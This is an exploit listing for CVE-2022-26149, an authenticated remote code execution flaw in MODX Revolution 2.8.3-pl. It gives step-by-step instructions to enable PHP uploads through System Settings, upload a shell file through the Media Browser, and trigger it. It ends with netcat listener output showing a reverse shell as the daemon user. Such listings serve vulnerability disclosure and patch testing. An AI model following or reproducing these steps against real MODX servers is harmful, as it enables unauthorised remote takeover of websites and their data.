MODX Revolution v2.8.3-pl - Authenticated Remote Code Execution Vulnerability

# Exploit Title: MODX Revolution v2.8.3-pl - Authenticated Remote Code Execution
# Exploit Author: Sarang Tumne @CyberInsane (Twitter: @thecyberinsane) 
# CVE ID: CVE-2022-26149
# Confirmed on release 2.8.3-pl
# Reference: https://github.com/sartlabs/0days/blob/main/Modx/Exploit.txt
# Vendor: https://modx.com/download

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#Step1- Login with Admin Credentials
#Step2- Uploading .php files is disabled by default hence we need to abuse the functionality:
        Add the php file extension under the "Uploadable File Types" option available in "System Settings" 
#Step3- Now Goto Media=>Media Browser and upload the Shell.php
#Step4- Now visit http://IP_Address/Shell.php and get the reverse shell:

listening on [any] 4477 ...
connect to [192.168.56.1] from (UNKNOWN) [192.168.56.130] 58056
bash: cannot set terminal process group (1445): Inappropriate ioctl for device
bash: no job control in this shell
daemon@debian:/opt/bitnami/modx$